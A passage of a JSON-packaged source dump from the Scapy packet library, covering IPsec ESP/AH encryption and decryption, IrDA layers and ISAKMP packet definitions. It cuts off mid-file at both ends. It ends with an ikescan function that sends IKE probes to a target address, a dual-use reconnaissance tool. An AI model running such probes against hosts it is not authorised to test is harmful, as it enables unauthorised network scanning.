self.crypt_icv_size,\n                                      esn_en=esn_en or self.esn_en,\n                                      esn=esn or self.esn)\n\n        self.auth_algo.sign(esp,\n                            self.auth_key,\n                            esn_en=esn_en or self.esn_en,\n                            esn=esn or self.esn)\n\n        if self.nat_t_header:\n            nat_t_header = self.nat_t_header.copy()\n            nat_t_header.chksum = 0\n            del nat_t_header.len\n            if ip_header.version == 4:\n                del ip_header.proto\n            else:\n                del ip_header.nh\n            ip_header /= nat_t_header\n\n        if ip_header.version == 4:\n            del ip_header.len\n            del ip_header.chksum\n        else:\n            del ip_header.plen\n\n        # sequence number must always change, unless specified by the user\n        if seq_num is None:\n            self.seq_num += 1\n\n        return ip_header.__class__(raw(ip_header / esp))\n\n    def _encrypt_ah(self, pkt, seq_num=None, esn_en=False, esn=0):\n\n        ah = AH(spi=self.spi, seq=seq_num or self.seq_num,\n                icv=b\"\\x00\" * self.auth_algo.icv_size)\n\n        if self.tunnel_header:\n            tunnel = self.tunnel_header.copy()\n\n            if tunnel.version == 4:\n                del tunnel.proto\n                del tunnel.len\n                del tunnel.chksum\n            else:\n                del tunnel.nh\n                del tunnel.plen\n\n            pkt = tunnel.__class__(raw(tunnel / pkt))\n\n        ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH)\n        ah.nh = nh\n\n        if ip_header.version == 6 and len(ah) % 8 != 0:\n            # For IPv6, the total length of the header must be a multiple of\n            # 8-octet units.\n            ah.padding = b\"\\x00\" * (-len(ah) % 8)\n        elif len(ah) % 4 != 0:\n            # For IPv4, the total length of the header must be a multiple of\n            # 4-octet units.\n            ah.padding = b\"\\x00\" * (-len(ah) % 4)\n\n        # RFC 4302 - Section 2.2. Payload Length\n        # This 8-bit field specifies the length of AH in 32-bit words (4-byte\n        # units), minus \"2\".\n        ah.payloadlen = len(ah) // 4 - 2\n\n        if ip_header.version == 4:\n            ip_header.len = len(ip_header) + len(ah) + len(payload)\n            del ip_header.chksum\n            ip_header = ip_header.__class__(raw(ip_header))\n        else:\n            ip_header.plen = len(ip_header.payload) + len(ah) + len(payload)\n\n        signed_pkt = self.auth_algo.sign(ip_header / ah / payload,\n                                         self.auth_key,\n                                         esn_en=esn_en or self.esn_en,\n                                         esn=esn or self.esn)\n\n        # sequence number must always change, unless specified by the user\n        if seq_num is None:\n            self.seq_num += 1\n\n        return signed_pkt\n\n    def encrypt(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None):\n        \"\"\"\n        Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according\n        to this SecurityAssociation.\n\n        :param pkt:     the packet to encrypt\n        :param seq_num: if specified, use this sequence number instead of the\n                        generated one\n        :param esn_en:  extended sequence number enable which allows to\n                        use 64-bit sequence number instead of 32-bit when\n                        using an AEAD algorithm\n        :param esn:     extended sequence number (32 MSB)\n        :param iv:      if specified, use this initialization vector for\n                        encryption instead of a random one.\n\n        :returns: the encrypted/encapsulated packet\n        \"\"\"\n        if not isinstance(pkt, self.SUPPORTED_PROTOS):\n            raise TypeError('cannot encrypt %s, supported protos are %s'\n                            % (pkt.__class__, self.SUPPORTED_PROTOS))\n        if self.proto is ESP:\n            return self._encrypt_esp(pkt, seq_num=seq_num,\n                                     iv=iv, esn_en=esn_en,\n                                     esn=esn)\n        else:\n            return self._encrypt_ah(pkt, seq_num=seq_num,\n                                    esn_en=esn_en, esn=esn)\n\n    def _decrypt_esp(self, pkt, verify=True, esn_en=None, esn=None):\n\n        encrypted = pkt[ESP]\n\n        if verify:\n            self.check_spi(pkt)\n            self.auth_algo.verify(encrypted, self.auth_key,\n                                  esn_en=esn_en or self.esn_en,\n                                  esn=esn or self.esn)\n\n        esp = self.crypt_algo.decrypt(self, encrypted, self.crypt_key,\n                                      self.crypt_icv_size or\n                                      self.crypt_algo.icv_size or\n                                      self.auth_algo.icv_size,\n                                      esn_en=esn_en or self.esn_en,\n                                      esn=esn or self.esn)\n\n        if self.tunnel_header:\n            # drop the tunnel header and return the payload untouched\n\n            pkt.remove_payload()\n            if pkt.version == 4:\n                pkt.proto = esp.nh\n            else:\n                pkt.nh = esp.nh\n            cls = pkt.guess_payload_class(esp.data)\n\n            return cls(esp.data)\n        else:\n            ip_header = pkt\n\n            if ip_header.version == 4:\n                ip_header.proto = esp.nh\n                del ip_header.chksum\n                ip_header.remove_payload()\n                ip_header.len = len(ip_header) + len(esp.data)\n                # recompute checksum\n                ip_header = ip_header.__class__(raw(ip_header))\n            else:\n                if self.nat_t_header:\n                    # drop the UDP header and return the payload untouched\n                    ip_header.nh = esp.nh\n                    ip_header.remove_payload()\n                else:\n                    encrypted.underlayer.nh = esp.nh\n                    encrypted.underlayer.remove_payload()\n                ip_header.plen = len(ip_header.payload) + len(esp.data)\n\n            cls = ip_header.guess_payload_class(esp.data)\n\n            # reassemble the ip_header with the ESP payload\n            return ip_header / cls(esp.data)\n\n    def _decrypt_ah(self, pkt, verify=True, esn_en=None, esn=None):\n\n        if verify:\n            self.check_spi(pkt)\n            self.auth_algo.verify(pkt, self.auth_key,\n                                  esn_en=esn_en or self.esn_en,\n                                  esn=esn or self.esn)\n\n        ah = pkt[AH]\n        payload = ah.payload\n        payload.remove_underlayer(None)  # useless argument...\n\n        if self.tunnel_header:\n            return payload\n        else:\n            ip_header = pkt\n\n            if ip_header.version == 4:\n                ip_header.proto = ah.nh\n                del ip_header.chksum\n                ip_header.remove_payload()\n                ip_header.len = len(ip_header) + len(payload)\n                # recompute checksum\n                ip_header = ip_header.__class__(raw(ip_header))\n            else:\n                ah.underlayer.nh = ah.nh\n                ah.underlayer.remove_payload()\n                ip_header.plen = len(ip_header.payload) + len(payload)\n\n            # reassemble the ip_header with the AH payload\n            return ip_header / payload\n\n    def decrypt(self, pkt, verify=True, esn_en=None, esn=None):\n        \"\"\"\n        Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH.\n\n        :param pkt:     the packet to decrypt\n        :param verify:  if False, do not perform the integrity check\n        :param esn_en:  extended sequence number enable which allows to use\n                        64-bit sequence number instead of 32-bit when using an\n                        AEAD algorithm\n        :param esn:        extended sequence number (32 MSB)\n        :returns: the decrypted/decapsulated packet\n        :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check\n            fails\n        \"\"\"\n        if not isinstance(pkt, self.SUPPORTED_PROTOS):\n            raise TypeError('cannot decrypt %s, supported protos are %s'\n                            % (pkt.__class__, self.SUPPORTED_PROTOS))\n\n        if self.proto is ESP and pkt.haslayer(ESP):\n            return self._decrypt_esp(pkt, verify=verify,\n                                     esn_en=esn_en, esn=esn)\n        elif self.proto is AH and pkt.haslayer(AH):\n            return self._decrypt_ah(pkt, verify=verify, esn_en=esn_en, esn=esn)\n        else:\n            raise TypeError('%s has no %s layer' % (pkt, self.proto.name))\n"
  },
  {
    "path": "scapy/layers/ir.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nIrDA infrared data communication.\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitEnumField, ByteEnumField, StrField, XBitField, \\\n    XByteField, XIntField, XShortField\nfrom scapy.layers.l2 import CookedLinux\n\n\n# IR\n\nclass IrLAPHead(Packet):\n    name = \"IrDA Link Access Protocol Header\"\n    fields_desc = [XBitField(\"Address\", 0x7f, 7),\n                   BitEnumField(\"Type\", 1, 1, {\"Response\": 0,\n                                               \"Command\": 1})]\n\n\nclass IrLAPCommand(Packet):\n    name = \"IrDA Link Access Protocol Command\"\n    fields_desc = [XByteField(\"Control\", 0),\n                   XByteField(\"Format_identifier\", 0),\n                   XIntField(\"Source_address\", 0),\n                   XIntField(\"Destination_address\", 0xffffffff),\n                   XByteField(\"Discovery_flags\", 0x1),\n                   ByteEnumField(\"Slot_number\", 255, {\"final\": 255}),\n                   XByteField(\"Version\", 0)]\n\n\nclass IrLMP(Packet):\n    name = \"IrDA Link Management Protocol\"\n    fields_desc = [XShortField(\"Service_hints\", 0),\n                   XByteField(\"Character_set\", 0),\n                   StrField(\"Device_name\", \"\")]\n\n\nbind_layers(CookedLinux, IrLAPHead, proto=23)\nbind_layers(IrLAPHead, IrLAPCommand, Type=1)\nbind_layers(IrLAPCommand, IrLMP,)\n"
  },
  {
    "path": "scapy/layers/isakmp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nISAKMP (Internet Security Association and Key Management Protocol).\n\"\"\"\n\n# Mostly based on https://tools.ietf.org/html/rfc2408\n\nimport struct\nfrom scapy.config import conf\nfrom scapy.packet import Packet, bind_bottom_up, bind_top_down, bind_layers\nfrom scapy.compat import chb\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IPField,\n    IntEnumField,\n    IntField,\n    MultipleTypeField,\n    PacketLenField,\n    ShortEnumField,\n    ShortField,\n    StrLenEnumField,\n    StrLenField,\n    XByteField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.ipsec import NON_ESP\nfrom scapy.sendrecv import sr\nfrom scapy.volatile import RandString\nfrom scapy.error import warning\nfrom functools import reduce\n\n# TODO: some ISAKMP payloads are not implemented,\n# and inherit a default ISAKMP_payload\n\n\n# see https://www.iana.org/assignments/ipsec-registry/ipsec-registry.xhtml#ipsec-registry-2 for details  # noqa: E501\nISAKMPAttributeTypes = {\n    \"Encryption\": (1, {\"DES-CBC\": 1,\n                       \"IDEA-CBC\": 2,\n                       \"Blowfish-CBC\": 3,\n                       \"RC5-R16-B64-CBC\": 4,\n                       \"3DES-CBC\": 5,\n                       \"CAST-CBC\": 6,\n                       \"AES-CBC\": 7,\n                       \"CAMELLIA-CBC\": 8, }, 0),\n    \"Hash\": (2, {\"MD5\": 1,\n                 \"SHA\": 2,\n                 \"Tiger\": 3,\n                 \"SHA2-256\": 4,\n                 \"SHA2-384\": 5,\n                 \"SHA2-512\": 6, }, 0),\n    \"Authentication\": (3, {\"PSK\": 1,\n                           \"DSS\": 2,\n                           \"RSA Sig\": 3,\n                           \"RSA Encryption\": 4,\n                           \"RSA Encryption Revised\": 5,\n                           \"ElGamal Encryption\": 6,\n                           \"ElGamal Encryption Revised\": 7,\n                           \"ECDSA Sig\": 8,\n                           \"HybridInitRSA\": 64221,\n                           \"HybridRespRSA\": 64222,\n                           \"HybridInitDSS\": 64223,\n                           \"HybridRespDSS\": 64224,\n                           \"XAUTHInitPreShared\": 65001,\n                           \"XAUTHRespPreShared\": 65002,\n                           \"XAUTHInitDSS\": 65003,\n                           \"XAUTHRespDSS\": 65004,\n                           \"XAUTHInitRSA\": 65005,\n                           \"XAUTHRespRSA\": 65006,\n                           \"XAUTHInitRSAEncryption\": 65007,\n                           \"XAUTHRespRSAEncryption\": 65008,\n                           \"XAUTHInitRSARevisedEncryption\": 65009,  # noqa: E501\n                           \"XAUTHRespRSARevisedEncryptio\": 65010, }, 0),  # noqa: E501\n    \"GroupDesc\": (4, {\"768MODPgr\": 1,\n                      \"1024MODPgr\": 2,\n                      \"EC2Ngr155\": 3,\n                      \"EC2Ngr185\": 4,\n                      \"1536MODPgr\": 5,\n                      \"2048MODPgr\": 14,\n                      \"3072MODPgr\": 15,\n                      \"4096MODPgr\": 16,\n                      \"6144MODPgr\": 17,\n                      \"8192MODPgr\": 18, }, 0),\n    \"GroupType\": (5, {\"MODP\": 1,\n                      \"ECP\": 2,\n                      \"EC2N\": 3}, 0),\n    \"GroupPrime\": (6, {}, 1),\n    \"GroupGenerator1\": (7, {}, 1),\n    \"GroupGenerator2\": (8, {}, 1),\n    \"GroupCurveA\": (9, {}, 1),\n    \"GroupCurveB\": (10, {}, 1),\n    \"LifeType\": (11, {\"Seconds\": 1,\n                      \"Kilobytes\": 2}, 0),\n    \"LifeDuration\": (12, {}, 1),\n    \"PRF\": (13, {}, 0),\n    \"KeyLength\": (14, {}, 0),\n    \"FieldSize\": (15, {}, 0),\n    \"GroupOrder\": (16, {}, 1),\n}\n\n# see https://www.iana.org/assignments/isakmp-registry/isakmp-registry.xhtml#isakmp-registry-13 for details  # noqa: E501\nIPSECAttributeTypes = {\n    \"LifeType\": (1, {\"Reserved\": 0,\n                     \"seconds\": 1,\n                     \"kilobytes\": 2}, 0),\n    \"LifeDuration\": (2, {}, 1),\n    \"GroupDesc\": (3, ISAKMPAttributeTypes[\"GroupDesc\"][1], 0),\n    \"EncapsulationMode\": (4, {\"Reserved\": 0,\n                              \"Tunnel\": 1,\n                              \"Transport\": 2,\n                              \"UDP-Encapsulated-Tunnel\": 3,\n                              \"UDP-Encapsulated-Transport\": 4}, 0),\n    \"AuthenticationAlgorithm\": (5, {\"HMAC-MD5\": 1,\n                                    \"HMAC-SHA\": 2,\n                                    \"DES-MAC\": 3,\n                                    \"KPDK\": 4,\n                                    \"HMAC-SHA2-256\": 5,\n                                    \"HMAC-SHA2-384\": 6,\n                                    \"HMAC-SHA2-512\": 7,\n                                    \"HMAC-RIPEMD\": 8,\n                                    \"AES-XCBC-MAC\": 9,\n                                    \"SIG-RSA\": 10,\n                                    \"AES-128-GMAC\": 11,\n                                    \"AES-192-GMAC\": 12,\n                                    \"AES-256-GMAC\": 13}, 0),\n    \"KeyLength\": (6, {}, 0),\n    \"KeyRounds\": (7, {}, 0),\n    \"CompressDictionarySize\": (8, {}, 0),\n    \"CompressPrivateAlgorithm\": (9, {}, 1),\n}\n\n_rev = lambda x: {\n    v[0]: (k, {vv: kk for kk, vv in v[1].items()}, v[2])\n    for k, v in x.items()\n}\nISAKMPTransformNum = _rev(ISAKMPAttributeTypes)\nIPSECTransformNum = _rev(IPSECAttributeTypes)\n\n# See IPSEC Security Protocol Identifiers entry in\n# https://www.iana.org/assignments/isakmp-registry/isakmp-registry.xhtml#isakmp-registry-3\nPROTO_ISAKMP = 1\nPROTO_IPSEC_AH = 2\nPROTO_IPSEC_ESP = 3\nPROTO_IPCOMP = 4\nPROTO_GIGABEAM_RADIO = 5\n\n\nclass ISAKMPTransformSetField(StrLenField):\n    islist = 1\n\n    @staticmethod\n    def type2num(type_val_tuple, proto=0):\n        typ, val = type_val_tuple\n        if proto == PROTO_ISAKMP:\n            type_val, enc_dict, tlv = ISAKMPAttributeTypes.get(typ, (typ, {}, 0))\n        elif proto == PROTO_IPSEC_ESP:\n            type_val, enc_dict, tlv = IPSECAttributeTypes.get(typ, (typ, {}, 0))\n        else:\n            type_val, enc_dict, tlv = (typ, {}, 0)\n        val = enc_dict.get(val, val)\n        if isinstance(val, str):\n            raise ValueError(\"Unknown attribute '%s'\" % val)\n        s = b\"\"\n        if (val & ~0xffff):\n            if not tlv:\n                warning(\"%r should not be TLV but is too big => using TLV encoding\" % typ)  # noqa: E501\n            n = 0\n            while val:\n                s = chb(val & 0xff) + s\n                val >>= 8\n                n += 1\n            val = n\n        else:\n            type_val |= 0x8000\n        return struct.pack(\"!HH\", type_val, val) + s\n\n    @staticmethod\n    def num2type(typ, enc, proto=0):\n        if proto == PROTO_ISAKMP:\n            val = ISAKMPTransformNum.get(typ, (typ, {}))\n        elif proto == PROTO_IPSEC_ESP:\n            val = IPSECTransformNum.get(typ, (typ, {}))\n        else:\n            val = (typ, {})\n        enc = val[1].get(enc, enc)\n        return (val[0], enc)\n\n    def _get_proto(self, pkt):\n        # Ugh\n        cur = pkt\n        while cur and getattr(cur, \"proto\", None) is None:\n            cur = cur.parent or cur.underlayer\n        if cur is None:\n            return PROTO_ISAKMP\n        return cur.proto\n\n    def i2m(self, pkt, i):\n        if i is None:\n            return b\"\"\n        proto = self._get_proto(pkt)\n        i = [ISAKMPTransformSetField.type2num(e, proto=proto) for e in i]\n        return b\"\".join(i)\n\n    def m2i(self, pkt, m):\n        # I try to ensure that we don't read off the end of our packet based\n        # on bad length fields we're provided in the packet. There are still\n        # conditions where struct.unpack() may not get enough packet data, but\n        # worst case that should result in broken attributes (which would\n        # be expected). (wam)\n        lst = []\n        proto = self._get_proto(pkt)\n        while len(m) >= 4:\n            trans_type, = struct.unpack(\"!H\", m[:2])\n            is_tlv = not (trans_type & 0x8000)\n            if is_tlv:\n                # We should probably check to make sure the attribute type we\n                # are looking at is allowed to have a TLV format and issue a\n                # warning if we're given an TLV on a basic attribute.\n                value_len, = struct.unpack(\"!H\", m[2:4])\n                if value_len + 4 > len(m):\n                    warning(\"Bad length for ISAKMP transform type=%#6x\" % trans_type)  # noqa: E501\n                value = m[4:4 + value_len]\n                value = reduce(lambda x, y: (x << 8) | y, struct.unpack(\"!%s\" % (\"B\" * len(value),), value), 0)  # noqa: E501\n            else:\n                trans_type &= 0x7fff\n                value_len = 0\n                value, = struct.unpack(\"!H\", m[2:4])\n            m = m[4 + value_len:]\n            lst.append(ISAKMPTransformSetField.num2type(trans_type, value, proto=proto))\n        if len(m) > 0:\n            warning(\"Extra bytes after ISAKMP transform dissection [%r]\" % m)\n        return lst\n\n\nISAKMP_payload_type = {\n    0: \"None\",\n    1: \"SA\",\n    2: \"Proposal\",\n    3: \"Transform\",\n    4: \"KE\",\n    5: \"ID\",\n    6: \"CERT\",\n    7: \"CR\",\n    8: \"Hash\",\n    9: \"SIG\",\n    10: \"Nonce\",\n    11: \"Notification\",\n    12: \"Delete\",\n    13: \"VendorID\",\n}\n\nISAKMP_exchange_type = {\n    0: \"None\",\n    1: \"base\",\n    2: \"identity protection\",\n    3: \"authentication only\",\n    4: \"aggressive\",\n    5: \"informational\",\n    32: \"quick mode\",\n}\n\n# https://www.iana.org/assignments/isakmp-registry/isakmp-registry.xhtml#isakmp-registry-3\n# IPSEC Security Protocol Identifiers\nISAKMP_protos = {\n    1: \"ISAKMP\",\n    2: \"IPSEC_AH\",\n    3: \"IPSEC_ESP\",\n    4: \"IPCOMP\",\n    5: \"GIGABEAM_RADIO\"\n}\n\nISAKMP_doi = {\n    0: \"ISAKMP\",\n    1: \"IPSEC\",\n}\n\n\nclass _ISAKMP_class(Packet):\n    def default_payload_class(self, payload):\n        if self.next_payload == 0:\n            return conf.raw_layer\n        return ISAKMP_payload\n\n# -- ISAKMP\n\n\nclass ISAKMP(_ISAKMP_class):  # rfc2408\n    name = \"ISAKMP\"\n    fields_desc = [\n        XStrFixedLenField(\"init_cookie\", \"\", 8),\n        XStrFixedLenField(\"resp_cookie\", \"\", 8),\n        ByteEnumField(\"next_payload\", 0, ISAKMP_payload_type),\n        XByteField(\"version\", 0x10),\n        ByteEnumField(\"exch_type\", 0, ISAKMP_exchange_type),\n        FlagsField(\"flags\", 0, 8, [\"encryption\", \"commit\", \"auth_only\"]),\n        IntField(\"id\", 0),\n        IntField(\"length\", None)\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.flags & 1:\n            return conf.raw_layer\n        return _ISAKMP_class.guess_payload_class(self, payload)\n\n    def answers(self, other):\n        if isinstance(other, ISAKMP):\n            if other.init_cookie == self.init_cookie:\n                return 1\n        return 0\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.length is None:\n            p = p[:24] + struct.pack(\"!I\", len(p)) + p[28:]\n        return p\n\n\n# -- ISAKMP payloads\n\nclass ISAKMP_payload(_ISAKMP_class):\n    name = \"ISAKMP payload\"\n    show_indent = 0\n    fields_desc = [\n        ByteEnumField(\"next_payload\", None, ISAKMP_payload_type),\n        ByteField(\"res\", 0),\n        ShortField(\"length\", None),\n        XStrLenField(\"load\", \"\", length_from=lambda x:x.length - 4),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt)) + pkt[4:]\n        return pkt + pay\n\n\nclass ISAKMP_payload_Transform(ISAKMP_payload):\n    name = \"IKE Transform\"\n    deprecated_fields = {\n        \"num\": (\"transform_count\", (\"2.5.0\")),\n        \"id\": (\"transform_id\", (\"2.5.0\")),\n    }\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        ByteField(\"transform_count\", None),\n        ByteEnumField(\"transform_id\", 1, {1: \"KEY_IKE\"}),\n        ShortField(\"res2\", 0),\n        ISAKMPTransformSetField(\"transforms\", None, length_from=lambda x: x.length - 8)  # noqa: E501\n        #        XIntField(\"enc\",0x80010005L),\n        #        XIntField(\"hash\",0x80020002L),\n        #        XIntField(\"auth\",0x80030001L),\n        #        XIntField(\"group\",0x80040002L),\n        #        XIntField(\"life_type\",0x800b0001L),\n        #        XIntField(\"durationh\",0x000c0004L),\n        #        XIntField(\"durationl\",0x00007080L),\n    ]\n\n\n# https://tools.ietf.org/html/rfc2408#section-3.5\nclass ISAKMP_payload_Proposal(ISAKMP_payload):\n    name = \"IKE proposal\"\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        ByteField(\"proposal\", 1),\n        ByteEnumField(\"proto\", 1, ISAKMP_protos),\n        FieldLenField(\"SPIsize\", None, \"SPI\", \"B\"),\n        ByteField(\"trans_nb\", None),\n        StrLenField(\"SPI\", \"\", length_from=lambda x: x.SPIsize),\n        PacketLenField(\"trans\", conf.raw_layer(), ISAKMP_payload_Transform, length_from=lambda x: x.length - 8),  # noqa: E501\n    ]\n\n\n# VendorID: https://www.rfc-editor.org/rfc/rfc2408#section-3.16\n\n# packet-isakmp.c from wireshark\nISAKMP_VENDOR_IDS = {\n    b\"\\x09\\x00\\x26\\x89\\xdf\\xd6\\xb7\\x12\": \"XAUTH\",\n    b\"\\xaf\\xca\\xd7\\x13h\\xa1\\xf1\\xc9k\\x86\\x96\\xfcwW\\x01\\x00\": \"RFC 3706 DPD\",\n    b\"@H\\xb7\\xd5n\\xbc\\xe8\\x85%\\xe7\\xde\\x7f\\x00\\xd6\\xc2\\xd3\\x80\": \"Cisco Fragmentation\",\n    b\"J\\x13\\x1c\\x81\\x07\\x03XE\\\\W(\\xf2\\x0e\\x95E/\": \"RFC 3947 Negotiation of NAT-Transversal\",  # noqa: E501\n    b\"\\x90\\xcb\\x80\\x91>\\xbbin\\x08c\\x81\\xb5\\xecB{\\x1f\": \"draft-ietf-ipsec-nat-t-ike-02\",\n}\n\n\nclass ISAKMP_payload_VendorID(ISAKMP_payload):\n    name = \"ISAKMP Vendor ID\"\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        StrLenEnumField(\"VendorID\", b\"\",\n                        ISAKMP_VENDOR_IDS,\n                        length_from=lambda x: x.length - 4)\n    ]\n\n\nclass ISAKMP_payload_SA(ISAKMP_payload):\n    name = \"ISAKMP SA\"\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        IntEnumField(\"doi\", 1, ISAKMP_doi),\n        IntEnumField(\"situation\", 1, {1: \"identity\"}),\n        PacketLenField(\"prop\", conf.raw_layer(), ISAKMP_payload_Proposal, length_from=lambda x: x.length - 12),  # noqa: E501\n    ]\n\n\nclass ISAKMP_payload_Nonce(ISAKMP_payload):\n    name = \"ISAKMP Nonce\"\n    deprecated_fields = {\"load\": (\"nonce\", \"2.6.2\")}\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        StrLenField(\"nonce\", \"\", length_from=lambda x: x.length - 4)\n    ]\n\n\nclass ISAKMP_payload_KE(ISAKMP_payload):\n    name = \"ISAKMP Key Exchange\"\n    deprecated_fields = {\"load\": (\"ke\", \"2.6.2\")}\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        StrLenField(\"ke\", \"\", length_from=lambda x: x.length - 4)\n    ]\n\n\nclass ISAKMP_payload_ID(ISAKMP_payload):\n    name = \"ISAKMP Identification\"\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        ByteEnumField(\"IDtype\", 1, {\n            # Beware, apparently in-the-wild the values used\n            # appear to be the ones from IKEv2 (RFC4306 sect 3.5)\n            # and not ISAKMP (RFC2408 sect A.4)\n            1: \"IPv4_addr\",\n            11: \"Key\"\n        }),\n        ByteEnumField(\"ProtoID\", 0, {0: \"Unused\"}),\n        ShortEnumField(\"Port\", 0, {0: \"Unused\"}),\n        MultipleTypeField(\n            [\n                (IPField(\"IdentData\", \"127.0.0.1\"),\n                 lambda pkt: pkt.IDtype == 1),\n            ],\n            StrLenField(\"IdentData\", \"\", length_from=lambda x: x.length - 8),\n        )\n    ]\n\n\nclass ISAKMP_payload_Hash(ISAKMP_payload):\n    name = \"ISAKMP Hash\"\n    deprecated_fields = {\"load\": (\"hash\", \"2.6.2\")}\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        StrLenField(\"hash\", \"\", length_from=lambda x: x.length - 4)\n    ]\n\n\nclass ISAKMP_payload_SIG(ISAKMP_payload):\n    name = \"ISAKMP Signature\"\n    deprecated_fields = {\"load\": (\"sig\", \"2.6.2\")}\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        StrLenField(\"sig\", \"\", length_from=lambda x: x.length - 4)\n    ]\n\n\nNotifyMessageType = {\n    1: \"INVALID-PAYLOAD-TYPE\",\n    2: \"DOI-NOT-SUPPORTED\",\n    3: \"SITUATION-NOT-SUPPORTED\",\n    4: \"INVALID-COOKIE\",\n    5: \"INVALID-MAJOR-VERSION\",\n    6: \"INVALID-MINOR-VERSION\",\n    7: \"INVALID-EXCHANGE-TYPE\",\n    8: \"INVALID-FLAGS\",\n    9: \"INVALID-MESSAGE-ID\",\n    10: \"INVALID-PROTOCOL-ID\",\n    11: \"INVALID-SPI\",\n    12: \"INVALID-TRANSFORM-ID\",\n    13: \"ATTRIBUTES-NOT-SUPPORTED\",\n    14: \"NO-PROPOSAL-CHOSEN\",\n    15: \"BAD-PROPOSAL-SYNTAX\",\n    16: \"PAYLOAD-MALFORMED\",\n    17: \"INVALID-KEY-INFORMATION\",\n    18: \"INVALID-ID-INFORMATION\",\n    19: \"INVALID-CERT-ENCODING\",\n    20: \"INVALID-CERTIFICATE\",\n    21: \"CERT-TYPE-UNSUPPORTED\",\n    22: \"INVALID-CERT-AUTHORITY\",\n    23: \"INVALID-HASH-INFORMATION\",\n    24: \"AUTHENTICATION-FAILED\",\n    25: \"INVALID-SIGNATURE\",\n    26: \"ADDRESS-NOTIFICATION\",\n    27: \"NOTIFY-SA-LIFETIME\",\n    28: \"CERTIFICATE-UNAVAILABLE\",\n    29: \"UNSUPPORTED-EXCHANGE-TYPE\",\n    30: \"UNEQUAL-PAYLOAD-LENGTHS\",\n    16384: \"CONNECTED\",\n    # RFC 3706\n    36136: \"R-U-THERE\",\n    36137: \"R-U-THERE-ACK\",\n}\n\n\nclass ISAKMP_payload_Notify(ISAKMP_payload):\n    name = \"ISAKMP Notify (Notification)\"\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        IntEnumField(\"doi\", 0, ISAKMP_doi),\n        ByteEnumField(\"proto\", 1, ISAKMP_protos),\n        FieldLenField(\"SPIsize\", None, \"SPI\", \"B\"),\n        ShortEnumField(\"notify_msg_type\", None, NotifyMessageType),\n        StrLenField(\"SPI\", \"\", length_from=lambda x: x.SPIsize),\n        StrLenField(\"notify_data\", \"\",\n                    length_from=lambda x: x.length - x.SPIsize - 12)\n    ]\n\n\nclass ISAKMP_payload_Delete(ISAKMP_payload):\n    name = \"ISAKMP Delete\"\n    fields_desc = ISAKMP_payload.fields_desc[:3] + [\n        IntEnumField(\"doi\", 0, ISAKMP_doi),\n        ByteEnumField(\"proto\", 1, ISAKMP_protos),\n        FieldLenField(\"SPIsize\", None, length_of=\"SPIs\", fmt=\"B\",\n                      adjust=lambda pkt, x: x and x // len(pkt.SPIs)),\n        FieldLenField(\"SPIcount\", None, count_of=\"SPIs\", fmt=\"H\"),\n        FieldListField(\"SPIs\", [],\n                       StrLenField(\"\", \"\", length_from=lambda pkt: pkt.SPIsize),\n                       count_from=lambda pkt: pkt.SPIcount),\n    ]\n\n\nbind_bottom_up(UDP, ISAKMP, dport=500)\nbind_bottom_up(UDP, ISAKMP, sport=500)\nbind_top_down(UDP, ISAKMP, dport=500, sport=500)\n\nbind_bottom_up(NON_ESP, ISAKMP)\n\n# Add bindings\nbind_top_down(_ISAKMP_class, ISAKMP_payload, next_payload=0)\nbind_layers(_ISAKMP_class, ISAKMP_payload_SA, next_payload=1)\nbind_layers(_ISAKMP_class, ISAKMP_payload_Proposal, next_payload=2)\nbind_layers(_ISAKMP_class, ISAKMP_payload_Transform, next_payload=3)\nbind_layers(_ISAKMP_class, ISAKMP_payload_KE, next_payload=4)\nbind_layers(_ISAKMP_class, ISAKMP_payload_ID, next_payload=5)\n# bind_layers(_ISAKMP_class, ISAKMP_payload_CERT, next_payload=6)\n# bind_layers(_ISAKMP_class, ISAKMP_payload_CR, next_payload=7)\nbind_layers(_ISAKMP_class, ISAKMP_payload_Hash, next_payload=8)\nbind_layers(_ISAKMP_class, ISAKMP_payload_SIG, next_payload=9)\nbind_layers(_ISAKMP_class, ISAKMP_payload_Nonce, next_payload=10)\nbind_layers(_ISAKMP_class, ISAKMP_payload_Notify, next_payload=11)\nbind_layers(_ISAKMP_class, ISAKMP_payload_Delete, next_payload=12)\nbind_layers(_ISAKMP_class, ISAKMP_payload_VendorID, next_payload=13)\n\n\ndef ikescan(ip):\n    \"\"\"Sends/receives a ISAMPK payload SA with payload proposal\"\"\"\n    pkt = IP(dst=ip)\n    pkt /= UDP()\n    pkt /= ISAKMP(init_cookie=RandString(8), exch_type=2)\n    pkt /= ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())\n    return sr(pkt)\n"
  },
  {
    "path": "scapy/layers/kerberos.py",
